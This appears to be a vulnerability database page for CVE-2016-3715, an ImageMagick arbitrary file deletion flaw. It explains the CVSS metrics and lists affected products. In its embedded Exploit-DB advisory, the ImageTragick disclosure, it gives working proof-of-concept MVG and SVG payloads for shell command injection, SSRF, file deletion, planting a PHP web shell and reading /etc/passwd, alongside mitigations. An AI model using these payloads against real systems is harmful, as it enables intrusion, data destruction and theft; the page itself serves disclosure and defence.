CVE-2016-3715 : Detail

CVE-2016-3715

5.5
/
Medium
A01-Broken Access Control
85.67%V3
Local
2016-05-05
18h00 +00:00
2025-02-07
13h27 +00:00
CVE.org
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CVE Descriptions

The EPHEMERAL coder in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to delete arbitrary files via a crafted image.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.
CWE-552 Files or Directories Accessible to External Parties
The product makes files or directories accessible to unauthorized actors, even though they should not be.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5.8 AV:N/AC:M/Au:N/C:N/I:P/A:P [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : ImageMagick Arbitrary File Deletion Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02
23h00 +00:00

Action is due : 2022-05-02
22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39767

Publication date : 2016-05-03
22h00 +00:00
Author : Nikolay Ermishkin
EDB Verified : No

Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this fix seems to be incomplete. We are still working with developers. ImageMagick: Multiple vulnerabilities in image decoder 1. CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests: "wget" -q -O "%o" "https:%M" where %M is the actual link from the input. It is possible to pass the value like `https://example.com"|ls "-la` and execute unexpected 'ls -la'. (wget or curl should be installed) $ convert 'https://example.com"|ls "-la' out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to https://hackerone.com/stewie for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others - which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue. exploit.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context exploit.svg -=-=-=-=-=-=-=-=- <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg> $ convert exploit.mvg out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In addition, ImageMagick's tool 'identify' is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via 'less exploit.jpg', because 'identify' is invoked via lesspipe.sh). Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg. All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg. 2. CVE-2016-3718 - SSRF It is possible to make HTTP GET or FTP request: ssrf.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context $ convert ssrf.mvg out.png # makes http request to example.com 3. CVE-2016-3715 - File deletion It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading: delete_file.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context $ touch /tmp/delete.txt $ convert delete_file.mvg out.png # deletes /tmp/delete.txt 4. CVE-2016-3716 - File moving It is possible to move image files to file with any extension in any folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and image.gif should exist in known location - /tmp/ for PoC (in real life it may be web service written in PHP, which allows to upload raw txt files and process images with ImageMagick): file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> /tmp/image.gif - image with php shell inside (https://www.secgeek.net/POC/POC.gif for example) $ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php 5. CVE-2016-3717 - Local file read (independently reported by original research author - https://hackerone.com/stewie) It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol: file_read.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@...c/passwd' pop graphic-context $ convert file_read.mvg out.png # produces file with text rendered from /etc/passwd How to mitigate the vulnerability. Available patches appear to be incomplete. If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one these two things (but preferably both!): 1. Verify that all image files begin with the expected �magic bytes� corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info) 2. Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in �/etc/ImageMagick�. This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL: <policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap> Vulnerability Disclosure Timeline: April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team. April, 21 2016 - file read vulnerability patched by My.Com development team April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report April, 30 2016 - code execution vulnerability reported to ImageMagick development team April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix) April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix) May, 1 2016 - ImageMagic informed of the fix bypass May, 2 2016 - limited disclosure to 'distros' mailing list May, 3 2016 - public disclosure at https://imagetragick.com/

Products Mentioned

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_eus >> Version 6.7

Redhat>>Enterprise_linux_eus >> Version 7.2

Redhat>>Enterprise_linux_eus >> Version 7.3

Redhat>>Enterprise_linux_eus >> Version 7.4

Redhat>>Enterprise_linux_eus >> Version 7.5

Redhat>>Enterprise_linux_eus >> Version 7.6

Redhat>>Enterprise_linux_eus >> Version 7.7

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 6.0_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 7.0_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 6.7_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.2_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.3_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.4_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.5_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.6_s390x

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 7.7_s390x

Redhat>>Enterprise_linux_for_power_big_endian >> Version 6.0_ppc64

Redhat>>Enterprise_linux_for_power_big_endian >> Version 7.0_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 6.7_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.2_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.3_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.4_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.5_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.6_ppc64

Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.7_ppc64

Redhat>>Enterprise_linux_for_power_little_endian >> Version 7.0_ppc64le

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.2_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.2_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.3_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.3_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.4_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.4_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.5_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.5_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.6_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.6_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.7_ppc64le

  • Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 7.7_ppc64le (Open CPE detail)

Redhat>>Enterprise_linux_hpc_node >> Version 6.0

Redhat>>Enterprise_linux_hpc_node >> Version 7.0

Redhat>>Enterprise_linux_hpc_node_eus >> Version 7.2

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.2

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_aus >> Version 7.7

Redhat>>Enterprise_linux_server_from_rhui >> Version 6.0

Redhat>>Enterprise_linux_server_from_rhui >> Version 7.0

Redhat>>Enterprise_linux_server_supplementary_eus >> Version 6.7z

Redhat>>Enterprise_linux_server_tus >> Version 7.2

Redhat>>Enterprise_linux_server_tus >> Version 7.3

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.7

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Imagemagick>>Imagemagick >> Version To (excluding) 6.9.3-10

Imagemagick>>Imagemagick >> Version 7.0.0-0

Imagemagick>>Imagemagick >> Version 7.0.1-0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 15.10

Canonical>>Ubuntu_linux >> Version 16.04

Configuraton 0

Oracle>>Linux >> Version 6

Oracle>>Linux >> Version 7

Oracle>>Solaris >> Version 10

Oracle>>Solaris >> Version 11.3

Configuraton 0

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Manager >> Version 2.1

Suse>>Manager_proxy >> Version 2.1

Suse>>Openstack_cloud >> Version 5

Opensuse>>Leap >> Version 42.1

Opensuse>>Opensuse >> Version 13.2

Suse>>Linux_enterprise_desktop >> Version 12

Suse>>Linux_enterprise_desktop >> Version 12

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 12

Suse>>Linux_enterprise_server >> Version 12

Suse>>Linux_enterprise_software_development_kit >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 12

Suse>>Linux_enterprise_software_development_kit >> Version 12

Suse>>Linux_enterprise_workstation_extension >> Version 12

Suse>>Linux_enterprise_workstation_extension >> Version 12

References

http://www.ubuntu.com/usn/USN-2990-1
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/39767/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2016/05/03/18
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2016/dsa-3746
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201611-21
Tags : vendor-advisory, x_refsource_GENTOO
http://www.debian.org/security/2016/dsa-3580
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2016-0726.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/89852
Tags : vdb-entry, x_refsource_BID